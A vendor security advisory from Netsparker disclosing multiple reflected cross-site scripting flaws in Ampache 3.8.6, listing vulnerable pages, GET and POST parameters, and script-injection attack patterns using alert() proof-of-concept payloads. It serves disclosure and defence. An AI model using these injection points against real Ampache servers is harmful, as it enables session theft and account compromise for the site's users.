Multiple Reflected Cross-site Scripting Vulnerabilities in Ampache 3.8.6 Information -------------------- Advisory by Netsparker Name: Multiple Reflected Cross-site Scripting in Ampache 3.8.6 Affected Software: Ampache Affected Versions: 3.8.6 Homepage: http://ampache.org Vulnerability: Reflected Cross-site Scripting Severity: Medium Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L Netsparker Advisory Reference: NS-18-046 Technical Details -------------------- URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3 Parameter Type: GET Parameter Name: mbid Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+' Parameter Type: GET Parameter Name: mbid Attack Pattern: '+alert(0x003D85)+' URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover= Parameter Type: GET Parameter Name: object_id Attack Pattern: "><scRipt>alert(9)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover= Parameter Type: GET Parameter Name: object_id Attack Pattern: "><scRipt>alert(9)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song Parameter Type: POST Parameter Name: rule_1 Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song Parameter Type: POST Parameter Name: rule_1_input Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song Parameter Type: POST Parameter Name: rule_1_subtype Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song Parameter Type: POST Parameter Name: rule_1_input Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song Parameter Type: POST Parameter Name: rule_1 Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8 Parameter Type: POST Parameter Name: rule_1 Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8 Parameter Type: POST Parameter Name: rule_1_input Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt> URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8 Parameter Type: POST Parameter Name: rule_1_subtype Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt> For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Advisory Timeline -------------------- 12th November 2018- First Contact Attempt 9th January 2019 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.